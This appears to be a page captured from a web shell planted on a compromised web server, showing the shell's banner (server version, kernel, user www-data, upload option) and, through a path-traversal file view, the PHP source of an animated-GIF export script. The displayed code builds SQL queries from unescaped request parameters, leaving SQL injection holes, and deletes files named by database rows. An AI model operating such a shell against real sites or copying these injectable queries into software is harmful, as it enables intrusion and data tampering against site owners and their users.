( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/..//tmpr/../tmpr/../includes/makeGif.php
<?php  


if ($_GET["exportGif"]=="yes") {
	$catalogid =  $_GET["catalogid"] ;
	
	$theme_id = $_GET['theme_id'];	
	

							 
							  
  $nani = $_GET['catalogid'];	
	
	
/*  $myLayers = $db->getmygifs($nani);
 while ( list($key,$val)=each($myLayers) ) {
			    
$catalogid = $val["catalogid"];
$themeid = $val["themeid"];

if(empty($val["picture"])){exit(0);};
 

}
 */
 
   
include "newdatasets/GIFEncoder.class.php";  


/*exit('<a class="icon-ok" > </a> Animation Saved Successfully!');*/


  $username      = username();
 
/*
	Build a frames array from sources...
*/
if ( $dh = opendir ( "v/uploads/gif/" ) ) {
	while ( false !== ( $dat = readdir ( $dh ) ) ) {
		if ( $dat != "." && $dat != ".." ) {
			$frames [ ] = "v/uploads/gif/$username$dat";
			$framed [ ] = 200;
		}
	}
	closedir ( $dh );
}
/*
		GIFEncoder constructor:
        =======================

		image_stream = new GIFEncoder	(
							URL or Binary data	'Sources'
							int					'Delay times'
							int					'Animation loops'
							int					'Disposal'
							int					'Transparent red, green, blue colors'
							int					'Source type'
						);
*/


/*print_r($frames);*/
/* $frames = "[0] => v/uploads/gif/52989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg222.gif
    [1] => v/uploads/gif/52989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg240.gif
    [2] => v/uploads/gif/52989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg252.gif
    [3] => v/uploads/gif/593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg211.gif
    [4] => v/uploads/gif/593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg226.gif
    [5] => v/uploads/gif/593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg237.gif
    [6] => v/uploads/gif/593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg247.gif
    [7] => v/uploads/gif/593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg290.gif
    [8] => v/uploads/gif/741590718960503487117513593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg237.gif
    [9] => v/uploads/gif/741590718960503487117513593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg293.gif
    [10] => v/uploads/gif/8960503487117513593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg220.gif
    [11] => v/uploads/gif/8960503487117513593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg263.gif
    [12] => v/uploads/gif/8960503487117513593858508387044252989366512107383b05920959a25523c5769d5804642985170eda4198b8f46283cac263abg271.gif";*/
$gif = new GIFEncoder	(
							$frames,
							$framed,
							0,
							2,
							0, 0, 1,
							"url"
		);
/*
		Possibles outputs:
		==================

        Output as GIF for browsers :
        	- Header ( 'Content-type:image/gif' );
        Output as GIF for browsers with filename:
        	- Header ( 'Content-disposition:Attachment;filename=myanimation.gif');
        Output as file to store into a specified file:
        	- FWrite ( FOpen ( "myanimation.gif", "wb" ), $gif->GetAnimation ( ) );
*/
$random = md5(rand(11,99));
FWrite ( FOpen ( "v/uploads/raw/anim$username$random.gif", "wb" ), $gif->GetAnimation ( ) );

  
  $image_path = basename("anim$username$random.gif");
  
  
$owner     = AppOwner();
$AppNo = mysqli_real_escape_string($link,$_GET['AppNo']);
$nani = mysqli_real_escape_string($link,$_GET['catalogid']);
$text = "Animation";
$text = str_replace("\n" , ' ',$text);
$text = str_replace("\r" , ' ',$text);
$uploads="";
$time=time();
$ip=$_SERVER['REMOTE_ADDR'];
 $isdisplay = 15; 
 $image_path = basename($image_path);
	/*	exit("INSERT INTO `reporta` (message,original, catalogid_fk,catalogid, ip,created,type,isdisplay,appno,filter) VALUES (N'$text', '$image_path', '$nani','$AppNo', '$ip','$time',6,'$isdisplay','$appno','mood')");*/
 $query = mysqli_query("INSERT INTO `reporta` (message,original, catalogid_fk,catalogid, ip,created,type,isdisplay,appno,filter) VALUES (N'$text', '$image_path', '$nani','$AppNo', '$ip','$time',6,'$isdisplay','$appno','mood')") or die(mysql_error());	
 
 
 
 $rs_settings = mysqli_query($link,"select * from elements where catalogid=$nani");	
	$num = mysql_num_rows($rs_settings);
 
 
								 while ($row_settings = mysqli_fetch_array($rs_settings)) {
								 
							  $picture = "v/uploads/gif/".$row_settings['picture'] ;
							 unlink($picture);
							
							  
							 }	
							 
/*Header ( 'Content-type:image/gif' );
echo	$gif->GetAnimation ( );
*/

 $rs_settings = mysqli_query($link,"delete  from elements where catalogid=$nani");
 
 exit("v/uploads/raw/anim$username$random.gif");
}
?>